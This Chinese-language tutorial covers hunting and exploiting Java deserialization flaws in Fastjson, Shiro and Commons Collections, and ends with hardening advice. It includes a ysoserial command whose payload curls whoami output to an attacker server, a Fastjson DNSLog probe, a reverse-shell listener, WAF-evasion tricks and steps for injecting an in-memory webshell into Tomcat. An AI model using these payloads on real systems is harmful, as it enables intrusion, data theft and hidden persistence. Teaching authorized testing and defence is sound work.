Java反序列化漏洞实战：从黑盒探测到内存马注入的完整攻防指南-尧图网络科技

1. 项目概述：从原理到实战的跨越

上一期我们聊透了反序列化漏洞的原理，把那些“魔术方法”、POP链构造、Gadget链的来龙去脉都掰开揉碎了讲。原理懂了，就像拿到了地图，但真要找到宝藏，还得亲自下场去挖。这第二期，咱们就聊点“硬核”的：实战。怎么在真实环境里，像猎人一样发现反序列化漏洞的蛛丝马迹？发现了之后，又该怎么一步步把它变成能实际利用的“武器”？这中间的门道，远比看原理要复杂和刺激。

很多朋友在SRC（安全应急响应中心）平台挖洞，或者做企业内部渗透测试时，面对一个黑盒系统，常常感到无从下手。反序列化漏洞不像SQL注入有个明显的单引号报错，也不像XSS那样输入个<script>就能立刻看到反馈。它更隐蔽，更像一个埋藏在数据传输流程深处的“逻辑炸弹”。你需要理解应用的架构、常用的组件、以及数据是如何流转的。本期内容，我将结合近些年依然活跃的典型漏洞（如Fastjson、Shiro等）和SRC实战中的常见场景，带你走完从信息搜集、漏洞探测、到利用链构造、最终实现利用的完整闭环。无论你是想在教育SRC、补天SRC等平台有所斩获，还是想夯实自己的代码审计与渗透测试能力，这些实战技巧都能给你提供清晰的路径和可复现的方法。

2. 实战挖掘：定位反序列化入口点

挖掘反序列化漏洞，第一步不是盲目的丢Payload，而是找到“入口”。这个入口，就是应用程序接收外部序列化数据并进行反序列化操作的地方。

2.1 黑盒探测：流量中的蛛丝马迹

在黑盒测试中，我们看不到代码，只能通过观察输入输出来推断。反序列化数据的传输形式多样，需要一双“火眼金睛”。

2.1.1 识别常见的数据载体与协议

反序列化数据很少以明文形式传输，通常会经过编码或封装。你需要重点关注以下位置：

HTTP参数：特别是POST请求的Body部分。留意json、xml等格式的数据。一个经典的Fastjson漏洞触发点，就是后端接收JSON字符串并调用JSON.parseObject()或JSON.parse()方法。
Cookie：这是Shiro反序列化漏洞（Shiro-550, Shiro-721）的经典入口。Shiro使用了RememberMe功能，其Cookie值（rememberMe字段）是经过AES加密的序列化数据。如果你在Cookie中看到一个很长、看起来像Base64编码的rememberMe值，那就要高度警惕了。
RPC（远程过程调用）框架：如Hessian、Dubbo、gRPC等。这些框架为了传输对象，天然会使用序列化机制（如Java原生序列化、Hessian二进制协议等）。对RPC接口进行模糊测试（Fuzzing），构造畸形的序列化数据，是发现漏洞的有效手段。
文件上传与解析：某些应用会解析上传的文件，并从中提取序列化对象。例如，解析Excel、Word文档中的某些元数据，或者处理特定的图片格式（历史上有些漏洞通过EXIF数据触发）。
消息队列（MQ）：如Kafka、RabbitMQ消费者端，如果对消息体的反序列化处理不当，也可能成为入口。

2.1.2 主动探测与指纹识别

仅仅观察还不够，需要主动“投石问路”。

修改数据格式：在提交JSON的地方，尝试轻微破坏JSON结构（如删除一个括号），观察错误回显。如果报错信息中出现了com.alibaba.fastjson.JSONException、com.fasterxml.jackson.core.JsonParseException等字样，你就成功识别出了使用的JSON库（Fastjson或Jackson）。Jackson在特定配置下也可能存在反序列化问题。
发送畸形序列化数据：向可疑的端点发送一个简单的Java序列化数据开头魔数ac ed 00 05（十六进制），观察响应。如果应用崩溃、返回500错误，或者有特定的Java反序列化错误堆栈（如java.io.InvalidClassException）返回，那基本可以确定存在一个Java原生反序列化接收点。
工具辅助：使用Burp Suite的插件，如Freddy、Deserialization Scanner，可以自动化地检测常见的反序列化漏洞。这些插件能识别Cookie、参数中的序列化数据特征，并自动生成和发送测试Payload。

注意：主动探测可能对生产环境造成影响（如触发异常导致服务短暂不可用）。在SRC测试或授权测试中，务必在测试规范允许的范围内进行，或寻找测试环境、沙箱环境进行验证。

2.2 白盒审计：代码层面的精准定位

如果你有源码权限（例如企业内部审计、开源组件分析），那么挖掘效率将大大提高。审计的核心目标是找到调用反序列化方法的代码路径。

2.2.1 关键函数/方法搜索

在Java项目中，全局搜索以下关键词：

readObject()：Java原生反序列化的核心方法。
ObjectInputStream.readObject()
JSON.parseObject()/JSON.parse()：Fastjson库。
ObjectMapper.readValue()：Jackson库。
XMLDecoder.readObject()：Java XML解码器，历史上漏洞极多。
Yaml.load()：SnakeYAML库。
HessianInput.readObject()：Hessian反序列化。
Unmarshal：JAXB、XStream等XML绑定框架的反序列化操作。

2.2.2 调用链分析与可控性判断

找到这些方法只是第一步。更重要的是分析：

数据来源是否用户可控？查看传入readObject()或parseObject()的参数，是否来自于HTTP请求参数、Cookie、文件上传等外部输入。
反序列化过程中，类的加载是否受限？检查是否存在ObjectInputStream的子类并重写了resolveClass方法，用于限制可反序列化的类。如果存在白名单校验，漏洞利用难度会增大。
依赖库版本：确认使用的第三方库版本。例如，Fastjson <= 1.2.83的多个版本都存在已知的高危漏洞（如1.2.83版本近期仍有绕过漏洞披露）。使用命令mvn dependency:tree或检查pom.xml/build.gradle文件。

2.2.3 关注框架的自动绑定机制

现代框架如Spring MVC，可以通过@RequestBody注解自动将JSON/XML请求体反序列化为Java对象。例如：

@PostMapping("/update") public String updateUser(@RequestBody User user) { // 这里可能自动调用Jackson或Fastjson // ... }

如果User类中存在危险属性或setter方法，结合特定的Gadget链，就可能构成漏洞。审计时需要关注被自动绑定的类及其继承关系。

3. 利用链构造：从Gadget到Exploit

找到入口点，只是证明了“这里能反序列化”。要真正实现利用（如命令执行、文件读取），我们需要一条“路”，这就是Gadget链。它由项目中现有的类和方法像齿轮一样咬合而成。

3.1 利用链的核心组成与寻找

一条完整的利用链通常包含三部分：

触发源（Sink）：最终执行危险操作的地方，如Runtime.exec()（命令执行）、ProcessBuilder.start()、FileInputStream.read()（文件读取）、Method.invoke()（反射调用）等。
传递链（链条）：一系列属性的getter/setter方法、构造函数或特定接口方法（如Comparable.compareTo()、TrAXFilter.getOutputProperties()），它们像桥梁一样，将反序列化过程从起始类引导向触发源。
起始类（Starter/Gadget）：一个实现了Serializable接口，并且在反序列化时（通过readObject()方法或特定的getter/setter）会自动调用链条中下一个“齿轮”的类。

3.1.1 如何寻找现成的Gadget链？

对于像Apache Commons Collections、Fastjson、Jackson-databind这些通用组件，安全研究人员已经发现了大量成熟的Gadget链。我们的工作往往是“选用”而非“创造”。

使用公开的漏洞库：关注ysoserial、marshalsec等工具集。它们收集了针对不同库的Gadget链。例如，CommonsCollections1、CommonsCollections2等就是针对不同版本Apache Commons Collections的链。
分析依赖：使用java -cp ysoserial.jar ysoserial.GeneratePayload查看支持的链，并比对你目标应用的依赖库版本，选择匹配的链。
适配与改造：有时公开的链不能直接使用，可能是因为类名不同、方法被删改、或者存在黑名单过滤。这就需要你具备一定的Java基础和调试能力，使用JD-GUI、IDEA或直接反编译jar包，分析链中涉及的类在当前环境是否可用，并尝试进行适配。

3.1.2 以Fastjson为例的链构造逻辑

Fastjson的反序列化漏洞利用链构造有其特殊性。它并非利用readObject()，而是利用目标类的属性setter方法、构造函数或特定字段的自动赋值。

例如，一个经典的思路是寻找一个类，它有一个属性类型是DataSource，并且有对应的setter方法。Fastjson在反序列化时，会尝试将JSON中的dataSource键值对，通过setter方法注入一个JndiDataSourceFactory对象。如果这个JndiDataSourceFactory的JndiName属性可控，并且应用在后续逻辑中调用了DataSource.getConnection()，就可能触发JNDI注入，进而导致远程类加载和代码执行。

Fastjson 1.2.83及之前版本的多个漏洞，核心就是不断绕过其内置的黑名单机制，找到新的、未被列入黑名单的类作为Gadget链的起点或跳板。审计时需要仔细分析漏洞通告中提到的新的危险类（如某些Exception子类、BasicDataSource等），并理解其触发路径。

3.2 利用工具与Payload生成

理论需要工具来落地。以下是实战中的标准操作流程：

确认环境与链：首先确定目标使用的Java版本、第三方库及其版本。例如，通过错误信息或依赖分析，确认存在commons-collections 3.2.1。
选择工具生成Payload：
```
# 使用ysoserial生成一个执行命令的Payload，并Base64编码 java -jar ysoserial.jar CommonsCollections1 "curl http://your-vps/$(whoami)" | base64 | tr -d '\n'
```
这条命令会生成一个针对CC1链的序列化对象，执行whoami命令并将结果通过HTTP请求发送到你的服务器。base64编码是为了方便在HTTP请求中传输。
投递Payload：将生成的Base64字符串，根据你找到的入口点进行投递。
- 如果是Cookie（Shiro）：将字符串作为rememberMe的Cookie值发送。注意Shiro有AES加密，通常需要使用专门的工具（如shiro_attack）来生成加密后的Payload。
- 如果是POST参数：可以将Base64字符串放在data、input等参数中，或者直接作为JSON的一个字段值（对于Java原生反序列化接收点）。
- 如果是Fastjson：Payload是精心构造的JSON字符串，而不是原生序列化字节流的Base64。你需要使用针对Fastjson的利用工具来生成JSON格式的Payload。
监听与回显：在投递Payload前，你需要在公网服务器上启动监听。
- 命令执行监听：如果Payload是直接执行命令（如反弹Shell），你需要用nc -lvnp 4444监听一个端口。
- DNSLog/HTTPLog监听：对于无回显的“盲打”场景，可以使用DNSLog或HTTPLog平台。Payload中执行ping your-domain.dnslog.cn或curl http://your-vps/，通过查看DNS解析记录或HTTP访问日志来判断命令是否执行成功。这是SRC漏洞证明中最常用、对业务影响最小的方式。

4. 绕过防御与高级利用技巧

现在的应用多少都有一些防护措施，直接使用公开的Payload可能失败。我们需要一些“骚操作”来绕过。

4.1 常见防御机制与绕过

4.1.1 黑名单过滤

像Fastjson、Jackson都维护了一个危险类的黑名单。绕过方法：

寻找黑名单外的类似类：安全研究人员会不断挖掘与黑名单中类功能相似但未被收录的类。例如，当TemplatesImpl被禁后，寻找其他可以加载字节码的类。
利用异常处理链：某些Exception类在反序列化时会调用其getCause()或getMessage()方法，这些方法内部可能触发类属性的getter，从而形成新的链。Fastjson的多个绕过都与异常类有关。
版本差异：黑名单在不同版本有增删。研究目标版本与已知漏洞版本的差异，可能找到“漏网之鱼”。

4.1.2 白名单校验

这是更强的防御，在ObjectInputStream.resolveClass中只允许反序列化特定的类。绕过难度极大，但并非不可能：

逻辑绕过：如果白名单校验存在逻辑缺陷，例如先反序列化一个对象，再根据对象某个字段的值动态加载类，则可能被利用。
利用已存在的链：在白名单内的类中，寻找可能触发危险操作的链。这需要极深的代码审计功力，通常针对特定应用而非通用组件。

4.1.3 WAF/IDS规则拦截

网络层设备可能会检测请求中是否包含常见的危险类名（如InvokerTransformer）、Base64编码的特征字符等。

编码混淆：对Payload进行多次编码（如URL编码、Hex编码、Unicode编码）。
分块传输：使用HTTP分块传输编码（Transfer-Encoding: chunked）来拆分Payload，可能绕过基于正则表达式的检测。
垃圾数据填充：在Payload中插入大量无意义的序列化数据，扰乱特征检测。

4.2 无文件落地与内存马注入

直接执行系统命令虽然有效，但容易被日志记录和终端防护软件发现。高级的攻击者追求更隐蔽的持久化方式。

4.2.1 内存WebShell（内存马）注入

这是目前最流行的利用方式之一。其目标不是执行一次命令，而是在Web服务器进程（如Tomcat、Jetty）的内存中，动态注册一个恶意的Servlet、Filter或Controller。此后，攻击者可以通过访问特定的URL路径，来随时执行命令，且没有任何文件落地，重启后失效，隐蔽性极强。

以注入Servlet内存马为例的利用链思路：

找到当前Web容器的上下文：利用Gadget链，通过Thread.currentThread().getContextClassLoader()或this.getClass().getClassLoader()等方式，获取到org.apache.catalina.loader.WebappClassLoader。
获取StandardContext：通过ClassLoader或其父链，找到当前的StandardContext对象，这是Tomcat中管理Servlet的核心对象。
创建恶意Servlet：动态创建一个实现了Servlet接口的类（通常用字节码技术或动态代理），在其service方法中写入命令执行逻辑。
注册Servlet：调用StandardContext.addChild()和StandardContext.addServletMapping()等方法，将恶意Servlet注册到容器中，并分配一个访问路径（如/evil）。

整个利用过程完全在内存中完成，通过一条精心构造的反序列化链触发。工具如Godzilla、Behinder（冰蝎）的Java版本都集成了这种内存马注入的Payload。

4.2.2 利用反序列化加载远程字节码（JNDI注入）

在Java版本较低（<=8u191）且目标出网的情况下，可以利用反序列化触发JNDI注入，从远程服务器加载恶意类。虽然高版本Java限制了远程类加载，但在某些特定上下文（如本地ClassPath查找）或搭配RMI/LDAP利用技巧（如JRMP、LDAP反序列化链）下，仍有利用可能。这需要攻击者控制一个外部的JNDI服务（如恶意的RMI或LDAP服务器）。

5. 漏洞挖掘实战案例复盘

这里以一个高度简化的模拟场景，串联上述技巧。假设我们在对一个Spring Boot应用进行黑盒测试。

第一步：信息搜集与入口探测

扫描发现/api/user/update接口，接受POST JSON请求。
修改JSON结构，返回错误信息中看到com.alibaba.fastjson.JSONException，确认使用Fastjson。
检查依赖（通过/actuator/env或错误信息推测），发现版本为1.2.80（一个存在多个已知漏洞的版本）。

第二步：漏洞验证与利用尝试

使用公开的Fastjson漏洞检测POC（一个包含@type特殊键的JSON），尝试触发DNSLog。
```
{ "@type": "java.net.Inet4Address", "val": "your-dnslog.dnslog.cn" }
```
在DNSLog平台收到解析记录，确认存在Fastjson反序列化漏洞，并且目标可以出网。

第三步：深入利用与内存马注入

由于是黑盒，我们选择使用成熟的利用工具，如fastjson_tool或集成在综合利用框架中的模块。
工具会帮助我们生成更复杂的Payload，可能包含利用TemplatesImpl加载字节码的链。
我们选择注入内存马。将冰蝎或哥斯拉的Java内存马字节码文件，通过工具编码后嵌入到JSON Payload的_bytecodes等字段中。
发送Payload后，访问工具指定的特定路径（如/bypass），使用密码连接，成功获取一个交互式的WebShell，可以执行命令、浏览文件。

第四步：漏洞证明与报告

在SRC平台提交时，不会直接上传WebShell截图（这可能违反规则）。
标准的证明方式是：提供两步无害验证。
1. 第一步证明漏洞存在：提供触发DNSLog或HTTP请求的Payload和接收记录的截图。
2. 第二步证明危害性：执行一个无害但能证明代码执行能力的命令，如ping -c 1 your-dnslog2.dnslog.cn，或者whoami > /tmp/test.txt然后尝试读取（如果条件允许）。并将第二次的请求记录截图。
在报告中清晰描述漏洞点（/api/user/update接口）、触发的组件（Fastjson 1.2.80）、利用原理简述，以及修复建议（升级至最新安全版本，如1.2.83以上，并注意官方安全公告可能还有后续绕过，需持续关注）。

6. 防御视角与安全开发建议

作为开发者，了解攻击手法才能更好地防御。

6.1 治本之策：升级与禁用

及时升级：将所有已知存在反序列化漏洞的第三方库（Fastjson, Jackson-databind, Apache Commons Collections, Shiro等）升级到最新的安全版本。关注CVE和组件官方的安全公告。
使用安全版本/替代品：对于Fastjson，考虑使用fastjson2，或者换用其他更安全的JSON库如Gson（默认不支持自动类型反序列化，更安全）、Jackson（需正确配置）。
禁用危险功能：如果业务不需要，彻底禁用Java原生序列化、XMLDecoder、XStream的自动类型转换等功能。在Shiro中，如果不使用RememberMe功能，则关闭它。

6.2 加固措施：白名单与输入校验

反序列化白名单：如果必须使用反序列化（如RPC框架），则实现自定义的ObjectInputStream，重写resolveClass方法，严格校验允许反序列化的类名。
JSON类型过滤：对于Fastjson，使用JSON.parseObject(jsonString, User.class)指定具体类型，而不是JSON.parseObject(jsonString)。对于Jackson，禁用Polymorphic Deserialization（ObjectMapper.enableDefaultTyping()）特性。
JVM层面限制：使用Java安全管理器（Security Manager）或启动参数-Djdk.deserialization.filter来设置全局的反序列化过滤器，过滤掉危险的类。

6.3 架构与监控

最小化依赖：定期清理项目依赖，移除不必要的库，减少攻击面。
代码审计：在代码审查阶段，重点关注所有反序列化操作的输入点。
运行时监控：使用RASP（运行时应用自我保护）工具，监控应用中反序列化操作的行为，对尝试加载危险类或执行敏感操作的行为进行实时拦截和告警。
网络层面：限制应用服务器不必要的出网连接，可以阻断大部分JNDI注入、DNSLog外带数据的攻击。

反序列化漏洞的攻防是一场持续的博弈。攻击者在不断寻找新的Gadget链和绕过方法，而防御者则需要构建纵深防御体系。对于安全研究人员而言，理解漏洞原理、掌握实战挖掘技巧、并时刻关注最新的攻防动态，是在这个领域立足的根本。希望这两期的深度解析，能为你打开这扇门，并提供足够实用的“弹药”。真正的精通，还需要你在大量的实战和代码分析中去积累和感悟。